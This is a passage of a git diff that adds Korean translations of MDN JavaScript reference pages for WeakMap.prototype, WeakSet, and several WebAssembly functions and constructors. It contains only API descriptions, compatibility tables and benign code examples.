+ <dt>{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}</dt>
+ <dd><code>key</code>와 관련된 모든 값을 제거합니다. <code>WeakMap.prototype.has(key)</code>는 그 뒤에 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}</dt>
+ <dd><code>key</code>와 관련된 값 또는 관련 값이 없는 경우 <code>undefined</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}</dt>
+ <dd><code>WeakMap</code> 객체 내 <code>key</code>와 관련된 값이 있는지 여부를 주장하는(asserting, 나타내는) boolean을 반환합니다.</dd>
+ <dt>{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}</dt>
+ <dd><code>WeakMap</code> 객체 내 <code>key</code>에 대해 값을 설정합니다. <code>WeakMap</code> 객체를 반환합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement"><code>WeakMap</code> 객체에서 모든 키/값 쌍을 제거합니다. 메서드가 없는 <code>WeakMap</code> 객체를 캡슐화하여 <code>.clear()</code> 메서드가 있는 <code>WeakMap</code> 같은 객체 구현이 가능함을 주의하세요 ({{jsxref("WeakMap")}} 페이지 예 참조)</s></dd>
+</dl>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Ordinary object</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Ordinary object</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakset/index.html b/files/ko/web/javascript/reference/global_objects/weakset/index.html
new file mode 100644
index 0000000000..17f818659d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakset/index.html
@@ -0,0 +1,108 @@
+---
+title: WeakSet
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WeakSet</code></strong> 객체는 약하게 유지되는(held, 잡아두는) <em>객체</em>를 컬렉션에 저장할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new WeakSet([iterable]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd><a href="/ko/docs/Web/JavaScript/Reference/Statements/for...of">iterable 객체</a>가 전달된 경우, 모든 객체 요소는 새로운 <code>WeakSet</code>에 추가됩니다. null은 undefined로 취급됩니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>WeakSet</code> 객체는 객체 컬렉션입니다. <code>WeakSet</code> 내 객체는 오직 한 번만 발생할 수 있습니다. 즉, <code>WeakSet</code> 컬렉션 내에서 유일합니다.</p>
+
+<p>{{jsxref("Set")}} 객체와 주된 차이는 다음과 같습니다:</p>
+
+<ul>
+ <li><code>Set</code>과 달리, <code>WeakSet</code>은 <strong>객체 만의 컬렉션</strong>이며 모든 유형의 임의 값(의 컬렉션)은 아닙니다.</li>
+ <li><code>WeakSet</code>은 약합니다(<em>weak</em>): 컬렉션 내 객체 참조는 약하게 유지됩니다. <code>WeakSet</code> 내 저장된 객체에 다른 참조가 없는 경우, 쓰레기 수집(garbage collection)될 수 있습니다. 이는 또한 컬렉션 내 현재 저장된 객체 목록이 없음을 뜻합니다. <code>WeakSets</code>은 열거불가입니다.</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakSet.length</code></dt>
+ <dd><code>length</code> 속성값은 0.</dd>
+ <dt>{{jsxref("WeakSet.prototype")}}</dt>
+ <dd><code>Set</code> 생성자에 대한 프로토타입을 나타냅니다. 모든 <code>WeakSet</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="WeakSet_인스턴스"><code>WeakSet</code> 인스턴스</h2>
+
+<p>모든 <code>WeakSet</code> 인스턴스는 {{jsxref("WeakSet.prototype")}}에서 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','속성')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','메서드')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="WeakSet_객체_사용"><code>WeakSet</code> 객체 사용</h3>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+var foo = {};
+
+ws.add(window);
+ws.add(obj);
+
+ws.has(window); // true
+ws.has(foo);    // false, foo가 집합에 추가되지 않았음
+
+ws.delete(window); // 집합에서 window 제거함
+ws.has(window);    // false, window가 제거되었음
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset-objects', 'WeakSet')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.WeakSet")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html b/files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html
new file mode 100644
index 0000000000..ee3f439ae9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html
@@ -0,0 +1,141 @@
+---
+title: WeakSet.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Property
+  - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WeakSet.prototype</strong></code> 속성(property)은 {{jsxref("WeakSet")}} 생성자에 대한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("WeakSet")}} 인스턴스는 {{jsxref("WeakSet.prototype")}}에서 상속합니다. 모든 <code>WeakSet</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<p><code>WeakSet.prototype</code>은 그 자체로 그냥 평범한 객체입니다:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakSet.prototype); // "[object Object]"</pre>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakSet.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 반환합니다. 이는 기본으로 {{jsxref("WeakSet")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("WeakSet.add", "WeakSet.prototype.add(value)")}}</dt>
+ <dd><code>WeakSet</code> 객체에 주어진 값을 갖는 새로운 객체를 추가합니다.</dd>
+ <dt>{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(value)")}}</dt>
+ <dd><code>value</code>와 관련된 요소를 제거합니다. <code>WeakSet.prototype.has(value)</code>는 그 뒤에 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WeakSet.has", "WeakSet.prototype.has(value)")}}</dt>
+ <dd><code>WeakSet</code> 객체 내 주어진 값을 갖는 요소가 존재하는 지 여부를 주장하는(asserting, 나타내는) boolean을 반환합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakSet.prototype.clear()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement"><code>WeakSet</code> 객체에서 모든 요소를 제거합니다.</s></dd>
+</dl>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Ordinary object</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome for Android</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Ordinary object</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("40")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+ <li>{{jsxref("WeakMap.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html
new file mode 100644
index 0000000000..eb7dd71f5f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.compile()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.compile()</code></strong>함수는 WebAssembly 바이너리 코드에서 {{jsxref ( "WebAssembly.Module")}}을 컴파일합니다. 이 함수는 모듈을 인스턴스화하기 전에 컴파일해야하는 경우에 유용합니다. 그렇지 않으면 {{jsxref ( "WebAssembly.instantiate ()")}} 함수를 사용해야합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compile(bufferSource);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>bufferSource</em></dt>
+ <dd>컴파일 할 .wasm 모듈의 이진 코드가 들어있는 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>Promise</code>는 컴파일 된 모듈로 표현된 {{jsxref ( "WebAssembly.Module")}} 객체로 반환됩니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>bufferSource</code>가 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>가 아니면 {{jsxref("TypeError")}}가 발생합니다.</li>
+ <li>컴파일에 실패하면 promise는 {{jsxref("WebAssembly.CompileError")}}와 함께 reject가 반환됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음은 <code>compile()</code> 함수를 사용하여 simple.wasm 바이트 코드를 컴파일 하고 <a href="/en-US/docs/Web/API/Worker/postMessage">postMessage()</a>를 사용하여 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">worker</a>에 보내는 예제입니다.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.compile(bytes)
+).then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 대부분의 경우에 {{jsxref("WebAssembly.compileStreaming()")}}를 사용하는 것이 좋습니다. 이는 <code>compile()</code>보다 효율적이기 때문입니다.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblycompile', 'compile()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.compile")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html
new file mode 100644
index 0000000000..40ba328985
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html
@@ -0,0 +1,114 @@
+---
+title: WebAssembly.CompileError()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.CompileError()</strong></code>생성자는 WebAssembly 디코딩 또는 유효성 검사 중에 발생한 오류를 나타내는 WebAssembly <code>CompileError</code> 객체를 새로 만듭니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>new WebAssembly.CompileError(<var>message</var>, <var>fileName</var>, <var>lineNumber</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을수 있는 형태의 에러에 대한 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드가 들어있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드의 행 번호입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>CompileError</code> 생성자에는 고유 한 고유 속성이 없지만 프로토 타입 체인을 통해 일부 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt><code>WebAssembly.CompileError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토 타입을 작성한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.CompileError.prototype.message")}}</dt>
+ <dd>에러 메시지. ECMA-262는 {{jsxref ( "URIError")}}가 <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>에서 자체 <code>message</code> 속성을 제공하도록 지정했지만 {{jsxref ( "Error.prototype.message")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.CompileError.prototype.name")}}</dt>
+ <dd>에러 명칭. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.CompileError.prototype.fileName")}}</dt>
+ <dd>에러가 발생한 파일의 경로. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.CompileError.prototype.lineNumber")}}</dt>
+ <dd>에러가 발생한 파일의 코드 줄번호. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.CompileError.prototype.columnNumber")}}</dt>
+ <dd>에러가 발생한 줄의 열 번호. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.CompileError.prototype.stack")}}</dt>
+ <dd>스텍 추적. {{jsxref("Error")}}에서 상속합니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>CompileError</code></em> 생성자에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.CompileError.prototype.toSource()")}}</dt>
+ <dd>동일한 오류로 판단할 수 있는 코드를 반환합니다. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.CompileError.prototype.toString()")}}</dt>
+ <dd>지정된 Error 객체를 나타내는 문자열을 반환합니다. {{jsxref("Error")}}에서 상속합니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 스 니펫은 새 <code>CompileError</code> 인스턴스를 만들고 콘솔에 세부 정보를 기록합니다.</p>
+
+<pre class="brush: js">try {
+  throw new WebAssembly.CompileError('Hello', 'someFile', 10);
+} catch (e) {
+  console.log(e instanceof CompileError); // true
+  console.log(e.message);                 // "Hello"
+  console.log(e.name);                    // "CompileError"
+  console.log(e.fileName);                // "someFile"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // returns the location where the code was run
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial WebAssembly draft definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definition of standard NativeError types.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.CompileError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
new file mode 100644
index 0000000000..a713ca1c0d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
@@ -0,0 +1,79 @@
+---
+title: WebAssembly.compileStreaming()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.compileStreaming()</code></strong>함수는 스트림 된 원본 소스에서 직접 {{jsxref ( "WebAssembly.Module")}}을 컴파일합니다. 이 함수는 모듈을 인스턴스화하기 전에 컴파일해야하는 경우 유용합니다 (그렇지 않으면 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 함수를 사용해야합니다).</p>
+
+<p> </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compileStreaming(<em>source</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>source</em></dt>
+ <dd>스트리밍 및 컴파일하려는 .wasm 모듈의 기본 소스를 나타내는 {{domxref ( "Response")}} 객체 또는 약속을 수행합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>Promise</code>는 컴파일 된 모듈로 표현된 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module" title="The documentation about this has not yet been written; please consider contributing!"><code>WebAssembly.Module</code></a> 객체로 반환됩니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>bufferSource</code>가 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>가 아니면 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError" title="TypeError 객체는 변수의 값이 원하는 타입이 아닐 때 발생하는 에러를 표현합니다."><code>TypeError</code></a>가 발생합니다.</li>
+ <li>컴파일에 실패하면 promise는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WebAssembly.CompileError</code></a>와 함께 reject가 반환됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> 데모 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">라이브보기</a>)에서 기본 소스의 .wasm 모듈을 직접 스트리밍 한 다음 {{jsxref ( "WebAssembly.Module")}} 객체로 컴파일합니다. <code>compileStreaming()</code> 함수는 {{domxref ( "Response")}} 객체에 대한 promise를 받으므로 직접 {{domxref ( "WindowOrWorkerGlobalScope.fetch ()")}} 호출을 전달할 수 있습니다.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(module =&gt; WebAssembly.instantiate(module, importObject))
+.then(instance =&gt; instance.exports.exported_func());</pre>
+
+<p>결과 모듈 인스턴스는 {{jsxref ( "WebAssembly.instantiate ()")}}를 사용하여 인스턴스화되고 내 보낸 함수가 호출됩니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly Embedding', '#webassemblycompilestreaming', 'compileStreaming()')}}</td>
+   <td>{{Spec2('WebAssembly Embedding')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/global/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/global/index.html
new file mode 100644
index 0000000000..c85d74b53c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/global/index.html
@@ -0,0 +1,116 @@
+---
+title: WebAssembly.Global
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<div><strong><code>WebAssembly.Global</code></strong> 객체는 전역 변수 인스턴스를 나타내며 JavaScript 및 하나 이상의 {{jsxref("WebAssembly.Module")}} 인스턴스에서 가져 오거나 내보낼 수 있습니다. 이렇게하면 여러 모듈을 동적으로 연결할 수 있습니다.</div>
+
+<h2 id="Constructor_Syntax">Constructor Syntax</h2>
+
+<pre class="syntaxbox">var myGlobal = new WebAssembly.Global(<em>descriptor</em>, <em>value</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>descriptor</em></dt>
+ <dd>A <code>GlobalDescriptor</code> dictionary object, 두 개의 속성이 포함되어 있습니다.
+ <ul>
+  <li><code>value</code>: {{domxref("USVString")}}는 전역의 데이터 유형을 나타냅니다. i32, i64, f32 및 f64 중 하나입니다.</li>
+  <li><code>mutable</code>: 전역 변수를 변경할 수 있는지 여부를 결정하는 부울 값입니다. 기본적으로 <code>false</code>입니다.</li>
+ </ul>
+ </dd>
+ <dt><em>value</em></dt>
+ <dd>변수에 포함 된 값입니다. 변수의 데이터 타입과 일치하는 한 모든 값을 사용할 수 있습니다.<br>
+ 변수에 포함 된 값입니다. 변수의 데이터 타입과 일치하는 모든 값을 사용할 수 있습니다. 값을 지정하지 않으면 <a href="https://webassembly.github.io/spec/js-api/#defaultvalue"><code>DefaultValue</code> 알고리즘</a>에 지정된대로 입력 된 0 값이 사용됩니다.</dd>
+</dl>
+
+<h2 id="Function_properties_of_the_Module_constructor">Function properties of the <code>Module</code> constructor</h2>
+
+<p>None.</p>
+
+<h2 id="Global_instances">Global instances</h2>
+
+<p>모든 <code>Global</code> 인스턴스는 <code>Global()</code> 생성자의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype">prototype object</a>에서 상속받습니다.이 인스턴스는 모든 <code>Global</code> 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
